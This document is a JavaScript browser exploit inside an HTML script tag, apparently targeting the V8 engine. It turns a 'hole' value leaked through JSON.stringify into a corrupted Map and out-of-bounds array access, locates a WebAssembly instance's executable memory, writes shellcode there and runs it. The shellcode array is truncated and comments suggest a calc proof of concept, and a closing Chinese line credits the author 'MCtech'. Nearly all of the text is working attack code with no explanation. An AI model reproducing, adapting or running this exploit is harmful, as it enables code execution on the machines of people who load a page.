<script type="text/javascript"> function gc() { for (var i = 0; i < 0x100; i++) new Array(0x200); } var shellcode = [ 0xfc, 0xe8, ]; var wasmCode = new Uint8Array([0, 97, 115, 109, 1, 0, 0, 0, 1, 133, 128, 128, 128, 0, 1, 96, 0, 1, 127, 3, 130, 128, 128, 128, 0, 1, 0, 4, 132, 128, 128, 128, 0, 1, 112, 0, 0, 5, 131, 128, 128, 128, 0, 1, 0, 1, 6, 129, 128, 128, 128, 0, 0, 7, 145, 128, 128, 128, 0, 2, 6, 109, 101, 109, 111, 114, 121, 2, 0, 4, 109, 97, 105, 110, 0, 0, 10, 138, 128, 128, 128, 0, 1, 132, 128, 128, 128, 0, 0, 65, 42, 11]); var dv = new DataView(new ArrayBuffer(0x10)); function f2big(f) { dv.setFloat64(0, f, true); return (dv.getBigUint64(0, true)); } function big2f(b) { dv.setBigUint64(0, b); return dv.getFloat64(0); } function flow(f) { dv.setFloat64(0, f, true); return (dv.getUint32(0, true)); } function fhi(f) { dv.setFloat64(0, f, true); return (dv.getUint32(4, true)); } function i2f(low, hi) { dv.setUint32(0, low, true); dv.setUint32(4, hi, true); return dv.getFloat64(0, true); } var oob_arr = null; var leak = null; var rw_buff = null; for (let i = 0; i < 0x1000; i++) { oob_arr = [1.1, 1.1]; leak = { ele: null }; rw_buff = new ArrayBuffer(0x1000); } var rw_view = new DataView(rw_buff); rw_view.setBigUint64(0, 0x11223355n, true); var wasmModule = new WebAssembly.Module(wasmCode); var wasmInstance = new WebAssembly.Instance(wasmModule); var f = wasmInstance.exports.main; function trigger() { let a = [], b = []; let s = '"'.repeat(0x800000); a[20000] = s; for (let i = 0; i < 10; i++) a[i] = s; for (let i = 0; i < 10; i++) b[i] = a; try { JSON.stringify(b); } catch (hole) { return hole; } throw new Error('could not trigger'); } let hole = trigger(); var map1 = null; var map2 = null; var arr = null; function makeMapOdd(m, h) { m = new Map(); m.set(1, 1); m.set(h, 1); m.delete(h); m.delete(h); m.delete(1); return m; } for (let i = 0; i < 0x1000; i++) { map1 = makeMapOdd(map1, hole); arr = new Array(1.1, 1.1); } //alert(map1.size); map1.set(0x10, -1); gc(); leak.ele = wasmInstance; map1.set(oob_arr, 0xffff); let wasm_low = fhi(arr[2]); //alert("search wasm mod low addr: " + (wasm_low).toString(16)); leak.ele = null; //alert("check arr indx 0"); arr[0] = i2f(wasm_low, 0x20); let rwx = flow(oob_arr[7]); //alert("rwx: " + rwx.toString(16)); arr[5] = i2f(rwx, 0x1000); alert("backingStore"); for (let i = 0; i < shellcode.length; i++) { rw_view.setInt8(i, shellcode[i]); } //alert("calc"); f(); </script>
本文作者为MCtech,转载请注明。